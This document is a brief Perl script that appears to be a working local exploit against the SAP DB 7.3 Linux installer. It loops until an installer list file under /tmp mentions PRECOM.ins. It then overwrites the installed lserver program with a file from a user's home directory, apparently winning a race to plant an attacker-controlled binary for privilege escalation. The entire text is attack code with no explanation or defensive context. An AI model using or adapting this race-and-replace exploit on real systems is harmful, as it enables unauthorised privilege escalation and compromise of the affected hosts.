<code perl> #!/bin/perl
while(1) {
$test = `grep -sh PRECOM.ins /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`;
if ($test =~/PRECOM/) { system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver"); exit(1); }
}
</code>